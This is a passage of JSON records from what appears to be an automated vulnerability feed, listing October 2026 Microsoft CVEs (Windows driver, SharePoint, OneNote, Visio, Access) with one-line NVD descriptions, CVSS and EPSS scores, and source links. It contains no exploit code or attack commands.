1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103554","asOf":"2026-10-26T16:31:52.127Z"},"epss":{"probability":0.00286,"percentile":0.20924,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103554&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103554","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103554","type":"primary","publishedAt":"2026-10-13T19:17:51.903Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-103554","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103554&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103554, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103553","cveId":"CVE-2026-103553","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:51.737Z","updatedAt":"2026-10-26T16:32:07.973Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103553","asOf":"2026-10-26T16:32:07.973Z"},"epss":{"probability":0.00361,"percentile":0.29675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103553&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103553","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103553","type":"primary","publishedAt":"2026-10-13T19:17:51.737Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-103553","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103553&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103553, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102866","cveId":"CVE-2026-102866","aliases":[],"kind":"vulnerability","title":"Improper verification of cryptographic signature in Microsoft Office SharePoint allows an unauthorized attacker to elevate privileges over a network.","summary":"Improper verification of cryptographic signature in Microsoft Office SharePoint allows an unauthorized attacker to elevate privileges over a network.","detail":"Improper verification of cryptographic signature in Microsoft Office SharePoint allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:51.207Z","updatedAt":"2026-10-14T19:45:04.610Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102866","asOf":"2026-10-14T19:45:04.610Z"},"epss":{"probability":0.00666,"percentile":0.51543,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102866&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102866","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102866","type":"primary","publishedAt":"2026-10-13T19:17:51.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102866","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102866&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102866, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102863","cveId":"CVE-2026-102863","aliases":[],"kind":"vulnerability","title":"Improper control of generation of code ('code injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","summary":"Improper control of generation of code ('code injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","detail":"Improper control of generation of code ('code injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:50.837Z","updatedAt":"2026-10-14T19:45:34.913Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102863","asOf":"2026-10-14T19:45:34.913Z"},"epss":{"probability":0.01023,"percentile":0.63264,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102863&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102863","type":"primary","publishedAt":"2026-10-13T19:17:50.837Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102863","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102863&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102863, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102862","cveId":"CVE-2026-102862","aliases":[],"kind":"vulnerability","title":"Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","summary":"Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","detail":"Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:50.717Z","updatedAt":"2026-10-14T19:45:31.993Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102862","asOf":"2026-10-14T19:45:31.993Z"},"epss":{"probability":0.0079,"percentile":0.55992,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102862&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102862","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102862","type":"primary","publishedAt":"2026-10-13T19:17:50.717Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102862","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102862&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102862, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102861","cveId":"CVE-2026-102861","aliases":[],"kind":"vulnerability","title":"Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","summary":"Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","detail":"Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:50.590Z","updatedAt":"2026-10-14T19:45:29.283Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102861","asOf":"2026-10-14T19:45:29.283Z"},"epss":{"probability":0.00807,"percentile":0.5654,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102861&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102861","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102861","type":"primary","publishedAt":"2026-10-13T19:17:50.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102861","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102861&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102861, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102860","cveId":"CVE-2026-102860","aliases":[],"kind":"vulnerability","title":"Improper access control in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","summary":"Improper access control in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","detail":"Improper access control in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:50.470Z","updatedAt":"2026-10-14T19:45:26.560Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102860","asOf":"2026-10-14T19:45:26.560Z"},"epss":{"probability":0.00807,"percentile":0.5654,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102860&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102860","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102860","type":"primary","publishedAt":"2026-10-13T19:17:50.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102860","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102860&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102860, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102858","cveId":"CVE-2026-102858","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:50.217Z","updatedAt":"2026-10-15T21:17:00.603Z","regions":["Global"],"vendor":"microsoft","product":"microsoft 365","stacks":["Microsoft Office","microsoft 365"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102858","asOf":"2026-10-15T21:17:00.603Z"},"epss":{"probability":0.00859,"percentile":0.58193,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102858&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102858","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102858","type":"primary","publishedAt":"2026-10-13T19:17:50.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102858","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102858&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102858, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102857","cveId":"CVE-2026-102857","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:50.097Z","updatedAt":"2026-10-15T17:28:58.637Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102857","asOf":"2026-10-15T17:28:58.637Z"},"epss":{"probability":0.00904,"percentile":0.59539,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102857&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102857","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102857","type":"primary","publishedAt":"2026-10-13T19:17:50.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102857","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102857&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102857, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102856","cveId":"CVE-2026-102856","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:49.973Z","updatedAt":"2026-10-15T17:27:50.580Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102856","asOf":"2026-10-15T17:27:50.580Z"},"epss":{"probability":0.00886,"percentile":0.59,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102856","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102856","type":"primary","publishedAt":"2026-10-13T19:17:49.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102856","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102856, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102850","cveId":"CVE-2026-102850","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:49.287Z","updatedAt":"2026-10-15T16:04:17.163Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102850","asOf":"2026-10-15T16:04:17.163Z"},"epss":{"probability":0.00769,"percentile":0.55302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102850&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102850","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102850","type":"primary","publishedAt":"2026-10-13T19:17:49.287Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102850","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 